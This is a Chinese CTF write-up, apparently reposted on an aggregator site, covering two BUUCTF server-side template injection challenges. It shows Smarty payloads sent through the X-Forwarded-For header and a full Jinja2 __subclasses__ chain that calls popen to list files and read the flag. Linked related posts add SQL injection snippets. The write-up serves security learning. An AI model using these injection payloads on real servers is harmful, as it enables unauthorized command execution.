BUUCTF刷题十一道(12)附-SSTI专题二

这篇具有很好参考价值的文章主要介绍了BUUCTF刷题十一道(12)附-SSTI专题二。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

学习文章

SSTI-服务端模板注入漏洞
flask之ssti模板注入从零到入门
CTFSHOW SSTI篇-yu22x
SSTI模板注入绕过(进阶篇)-yu22x
SSTI模板注入学习-竹言笙熙

全部总结看最后一篇

[CISCN2019 华东南赛区]Web11【存疑】

Smarty 模板注入与沙箱逃逸-长亭科技

BUUCTF刷题十一道(12)附-SSTI专题二,Web,web
发现能显示ip地址,没有其他传参的地方,应该在xff头
自定义xff头,尝试模板注入

BUUCTF刷题十一道(12)附-SSTI专题二,Web,web
但是构造获取类会出错
BUUCTF刷题十一道(12)附-SSTI专题二,Web,web
又查了查,有特性

BUUCTF刷题十一道(12)附-SSTI专题二,Web,web


Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令


Smarty 是一个用于 PHP 的模板引擎,它允许开发者将动态生成的内容与静态 HTML 分离,以提高代码的可维护性和可读性。在 Smarty 模板中,通常不直接执行 PHP 代码,而是使用 Smarty 提供的一些特定的语法和功能来代替。

Smarty 模板中执行 PHP 语句的一种常见方式是使用 {php} 标签。但是需要注意的是,从 Smarty3 开始,{php} 标签已经被废弃,并不建议使用,因为它会导致模板与业务逻辑的耦合度增加,降低模板的可维护性。


{php}
    // PHP 代码
    $name = 'John';
    echo "Hello, $name!";
{/php}


看了很多篇博客没说清楚为什么直接能{system('ls')}命令执行,所以请看文章开头长亭的smarty模板注入原理

漏洞产生语句类似


$smarty->display("string:". $name);

{$smarty.version}返回smarty版本

BUUCTF刷题十一道(12)附-SSTI专题二,Web,web
好吧我还是没看懂为什么{phpinfo()}能执行

BUUCTF刷题十一道(12)附-SSTI专题二,Web,web
BUUCTF刷题十一道(12)附-SSTI专题二,Web,web

[RootersCTF2019]I_❤️_Flask

页面卡,翻一下快一点

git clone https://github.com/s0md3v/Arjun

工具可扫到name参数

尝试name参数处ssti
BUUCTF刷题十一道(12)附-SSTI专题二,Web,web

BUUCTF刷题十一道(12)附-SSTI专题二,Web,web
BUUCTF刷题十一道(12)附-SSTI专题二,Web,web


# 查看基类类
?name={{().__class__.__base__}}
# 查看子类
{{().__class__.__base__.__subclasses__()}}

# 寻找os

# 触发连招

{{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}

# 读取flag.txt
{{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat flag.txt').read()}}

BUUCTF刷题十一道(12)附-SSTI专题二,Web,web
BUUCTF刷题十一道(12)附-SSTI专题二,Web,web文章来源地址https://www.toymoban.com/news/detail-846256.html

到了这里,关于BUUCTF刷题十一道(12)附-SSTI专题二的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • BUUCTF-WEB2

    1.启动靶机 2.寻找注入点和注入方法 随便输入一个字母,没有回显 随便输入一个数字,发现有回显,并且回显结果一样 3.堆叠注入 1; show databases;     #查看数据库 1; show tables;    #查看数据表 里面有个flag 1;set sql_mode=PIPES_AS_CONCAT;select 1 1; :这个部分是一个 SQL 查询的结束符

    2024年04月28日
    浏览(36)
  • 【web-ctf】ctf_BUUCTF_web(2)

    1. [RCTF2015]EasySQL 考点: 二次注入 报错注入 正则表达式查找 reverse函数 学到的知识点: 二次注入原理 二次注入的标志: (1)可以自行注册用户 (这是为了注册一些特殊的用户名到数据库中(比如会导致之后报错、修改其他用户的密码等)) (2)可以使用修改密码等 (二

    2024年02月06日
    浏览(45)
  • BUUCTF--Web篇详细wp

    CTF平台:https://buuoj.cn/ 使用万能密码登入即可。 flag{c8aeab4b-a566-4d7e-a039-cf6393c61d76} F12 查看源代码 发现是 PHP 代码审计(小猫挺可爱呢~) 传了一个变量 然后是 GET 请求 如果 cat=dog 就会输出 flag 构造 Payload:/?cat=dog flag{86e415ca-8d55-4868-afb3-ec58d239dbb7} 打开网页看到滑稽图 直接 F12

    2024年02月03日
    浏览(37)
  • BUUCTF NewStarCTF 2023 WEB题WP

    直接在URL处访问www.zip文件 将下载下来的www.zip文件解压即可得到flag 常见的文件泄露一般泄露的都是网站的备份文件,常见的备份的文件名通常为 wwwroot、www、子域名等,压缩包后缀通常为 zip、tar.gz 等 其他的也有配置文件的泄露。建议自己收集一个敏感文件的字典 很简单的

    2024年02月08日
    浏览(46)
  • BUUCTF题目Web部分wp(持续更新)

    如有权限,查询当前用户可以访问的所有表 字符串拼接,避免字符串被过滤。 利用字符串内联注入 利用终止式SQL注入 。也就是利用SQL语法中的注释。 利用 having 1=1 并观察报错来确定列名。因为sql语句中原本没有聚合函数,那么having 1=1就会爆出语法错误。这样语法解析时会

    2024年02月13日
    浏览(41)
  • 记一道国际赛CTF web题

    这是一篇关于打d3ctf坐牢,然后去打国际赛的题解。。。。。。。 首先打开页面,然后发现一个登陆框   刚开始最先想到就是弱口令登陆,尝试几个后发现登陆不进去。 之后我就换了一个思路,就是扫一下,看看能不能有什么东西被扫出来,结果还真扫出来点东西,一个f

    2024年02月02日
    浏览(40)
  • Web攻防--Java_SQL注入--XXE注入-- SSTI模板注入--SPEL表达式注入

    编译器在编译sql语句时,会依次进行词法分析、语法分析、语义分析等操作, 预编译技术会让数据库跳过编译阶段,也就无法就进行词法分析,不会被拆开,注入语句也就不会被识别为SQL的,从而防止恶意注入语句改变原有SQL语句本身逻辑。 在使用JDBC进行数据

    2024年02月09日
    浏览(60)
  • BUUCTF-练习场-WEB-第一部分(8道)

    payload: 1\\\' or 1=1# \\\'是闭合前面的查询语句,or 1=1恒成立,可以使用or句子绕过判断,#用于注释,注释后面的内容不再执行,所以该sql命令会返回表内所有内容,其实就是实现一个闭合查询,绕过判断,返回内容 F12查看源代码,发现注释中有一个source.php文件名称 访问这个文件

    2024年02月06日
    浏览(40)
  • [网络安全]一文带你了解SSTI漏洞(结合Web_python_template_injection解题详析)

    SSTI是Server-Side Template Injection的缩写,是一种Web应用程序安全漏洞,主要存在于使用基于模板引擎的Web应用程序中。 SSTI漏洞的主要原因是 在Web应用程序中使用了基于模板引擎的渲染功能,并且没有正确地验证和过滤用户输入的数据。当攻击者能够构造特定的输入并成功地注入

    2024年02月08日
    浏览(45)
  • Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入

    目录 JavaSec搭建 Hello-Java-Sec搭建 Java安全-SQL注入-JDBCMyBatis JDBC:Java语言连接数据库操作 MyBatis( mybatis是一个优秀的基于java的持久层框架,它内部封装了 jdbc) 代码审计案例:inxedu后台MyBatis注入 Java安全-XXE注入-ReaderBuilder 配置XML允许引入外部解析实体 白盒测试-XXE Java安全-SSTI模版

    2024年04月25日
    浏览(45)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包